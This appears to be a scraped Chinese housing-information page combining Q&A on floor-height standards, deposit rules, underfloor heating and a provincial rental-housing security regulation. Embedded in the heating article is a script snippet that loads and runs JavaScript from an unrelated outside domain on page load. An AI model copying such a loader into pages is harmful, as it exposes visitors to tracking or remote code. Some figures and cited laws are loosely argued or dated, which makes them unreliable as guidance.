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罗成业
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问房屋层高误差允许范围是多少?
答一般情况下,混凝土结构房屋,层高容许偏差±10mm;全高偏差容许±30mm。
问房屋建筑层高有什么要求?
答 根据国家住宅与居住环境工程中心主编的《健康住宅建设技术要点》指出,居室净高不应低于2.5米;建设部主编的《住宅建筑模数协调标准》中,规定了层高优先尺寸系列
问关于房屋层高问题,真心需要好的指导
答没有影响的,我们这边有个小区层高也这样,我们有几个客户也做了地暖,成品2.6米没有影响的,像厨房、卫生间一般也是集成顶完成后2.4米多点的。。客厅2.6 米
问一般房屋标准层高是多少?
答一般房屋标准层高 1.普通住宅层高不宜高于2.80 m。 2.卧室、起居室(厅)的室内净高不应低于2.40 m,局 部净高
房屋认购定金相关规定
对于一般家庭来讲,房屋是一项极为重要的财产,因此在房屋购买的时候,会出现很多的问题,尤其是开发商和购买方之间,有的时候并不会一次达成协议,而是需要经过多次的协商,但是为了避免房屋被其他人购买,通常双方会在开始就订立房屋的认购。房屋认购之后就是意味着该房屋在目前的情况下不会卖给别人,所以会在房屋认购的时候交纳定金,现在我们就来看一下有关房屋认购的定金规定。房屋认购定金一、关于购房定金的法律规定《担保法》规定,当事人可以约定一方向对方给付定金作为债权的担保。债务人履行债务后,定金应当抵作价款或者收回。给付定金的一方不履行约定的债务的,无权要求返还定金;收受定金的一方不履行约定的债务的,应当双倍返还定金。定金应当以书面形式约定。当事人在定金合同中应当约定交付定金的期限。定金合同从实际交付定金之日起生效。定金的数额由当事人约定,但不得超过主合同标的额的百分之二十。因此,按照上述法律的规定,购房认购书中规定的购房定金的比例不应当超过购房款的20%。比如,购房者要买的商品房的价格是100万元,那么认购书中规定的购房定金就不能超过20万元。二、如果购房定金的比例超过了20%怎么办?《担保法司法解释》第一百二十一条规定,当事人约定的定金数额超过主合同标的额百分之二十的,超过的部分,人民法院不予支持。也就是说,超过百分之二十的部分就不属于定金,不适用法律关于定金罚则的规定。所谓定金罚则,债务人履行债务后,定金应当抵作价款或者收回。给付定金的一方不履行约定的债务的,无权要求返还定金;收受定金的一方不履行约定的债务的,应当双倍返还定金。比如,房屋价格是100万元,但是认购书中的定金是30万,那么超出的10万就不能适用定金罚则。如果由于开发商的原因导致购房合约不能签订的,那么开发商应当给购房者双倍返还的定金是40万,而不是60万。当然开发商把超出定金的10万也必须退回给购房者,这样购房者一共可以拿到50万。三、如何合理约定购房定金?如果房屋买卖中,双方基本达成意向,购房人缴纳了定金,如果任何一方违约导致合同无法履行。则对实际交付的定金施行定金罚则,即:购房人违约则不能要求返还定金,卖房人违约则需要双倍返还定金。如果买方全款购房则资金充足,履行付款义务问题不大,那么就要着重防范卖方的违约行为,可以约定较高数额的定金,如总价20%,这样就加大了卖主违约的成本,促使其及时办理过户手续。由于定金罚则是把双刃剑,因此如果贷款买房的买主,如果没有较大把握办理房贷,应当适当降低定金的支付比例,特别是目前银行从严审核贷款的情况,一旦贷款无法办理,那么如果没有其他约定,将导致需要向卖方承担违约责任。房屋认购的定金不会太高,都是按照一般的水准来订立的,就像是我们买东西需要交纳的押金是一样的,房屋认购的用处非常大,它主要是可以帮助我们促进谈判,并且在此期间不会将房屋出卖给其他人,引起不必要的矛盾。房屋认购的时候,买卖双方也会签立相关的文件,但是它并不等同于买卖合同,不具有买卖合同的效用,大家一定要了解清楚再进行签定。
地暖安装高度真的会影响房屋的层高吗
随着地暖的普及,越来越多的业主在装修房子时想要采用地暖用来供热。但是又担心房间的层高不符合国家标准,采用地暖供热的想法最后可能没有变成现实。那么地暖安装高度真的会影响房屋的层高吗? 国内现在对于房屋的层高并没有明确的标准,大于2.2米即为符合要求。而我国大部分房屋的层高在2.8米到3.0米之间,大部分业主在考虑供暖使用地暖时,往往也会考虑地暖安装高度是否会影响层高,那么我们就来看一下,地暖安装高度真的会影响房屋的层高吗? 我国房屋的层高普遍在3.0米左右,那么我们就假设房屋的层高为3.0米。地暖有两种,一种为水地暖,一种为电地暖。不同的地暖,安装起来的地暖安装高度也不同,首先我们来说水地暖。 水地暖又名湿法地暖,需要保温层2cm、沙石回填层3cm、地板砖及灰沙料3-5cm左右,地暖垫层1.5CM到2.5CM左右,这样,地暖高度大约为8CM到10CM左右,此时我们计算一下房屋的层高,业主装修是如果采用瓷砖,贴瓷砖的所产生厚度大约在9CM,如果业主采用的是木地板,装修所采用的厚度为3CM到5CM左右,再加上地板与地暖之间的水泥沙子厚度(3CM),这样装修下来,瓷砖/木地板与地暖的总高度大约为20CM,该房屋的层高就大约为2.8米,这符合了我国对层高的标准。 再拿电地暖来说,电地暖又名干法地暖,电地暖从保温层到地面装饰层占用层高在4厘米及以下,这样装修下来,加上瓷砖或者是木地板的高度,地暖安装高度大约为15厘米,比水地暖占用高度还要少。 所以说,地暖安装高度真的会影响室内层高吗?答案是,不会的。地暖对层高的影响,是微不足道的,房屋的层高仍然满足国家的标准,业主们大可以放心的去采用地暖来供暖。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
房屋租赁管理办法规定
在城市中有多余房屋的人,自己住不完的情况下都会将其出租出去,每个月获得一定的租金来改善生活。而在陌生城市打拼的人就有租赁房子的需求,租赁了一套房子来住,才能够在城市中有一个稳定的住所,避免自己在城市中没有落脚点。房东与租客形成了租赁关系,还要受到法律的约束,下面小编为你介绍房屋租赁管理办法规定的内容。房屋租赁管理办法规定第一条为加强对出租屋暂住人员的治安管理,维护社会秩序,根据有关法律、法规,结合本省实际,制定本规定。第二条本省行政区域内出租屋暂住人员的治安管理适用本规定。本规定所称出租屋,是指除宾馆、旅店、招待所外供暂住人员租住的房屋。暂住人员是指按照国家户口管理规定需要办理暂住登记的公民。第三条各级人民政府必须加强对出租屋暂住人员治安管理工作的领导。各级公安机关负责出租屋暂住人员的治安管理工作。房管、劳动等有关行政管理部门按照各自的职责协同进行管理。乡(镇)政府及管理区(行政村)、街道办事处及居民委员会应当组织力量加强治安防范工作。第四条出租人向暂住人员出租房屋必须遵守《广东省城镇房屋租赁条例》,并向当地公安派出所申请领取《出租房屋治安管理许可证》。第五条暂住人员入住出租屋,必须凭本人居民身份证到暂住地公安派出所或其指定机构申报暂住登记。第六条出租屋治安管理实行治安责任制度。出租人、暂住人员均为治安责任人,必须与出租屋所在地公安派出所或其指定机构签订治安责任书。第七条出租人的治安责任:(一)遵守国家有关治安管理的法律、法规,督促暂住人员遵守法律、法规和治安管理规章制度,落实治安防范措施;(二)保证出租房屋具备基本的生活和安全设施,提供的居住面积人均不少于3平方米,并及时检查、修缮出租屋安全设施;(三)不得将房屋租给来历不明、身份不明的人员居住;非夫妻关系的男女不得在同一房间混住;(四)发现出租屋暂住人员有违法犯罪行为,应当及时检举、制止或者将现行犯罪分子送交公安机关处理;(五)向公安机关反映出租屋治安情况,协助公安机关查处刑事和治安案件、处理治安灾害事故。房屋租赁管理办法规定如上,房东在租房的时候必须要能够知道相关的法律知识,在租房的时候按照法律要求来进行租赁,不能够违反法律租赁房屋,不然将会有可能受到法律的制裁。租客在租赁房屋的时候,也要遵循相关的规定,要是发现房东有违法租赁的情况,可以收集到有关的证据之后,依法向有关部门进行详细的举报,更好的为自己维权。
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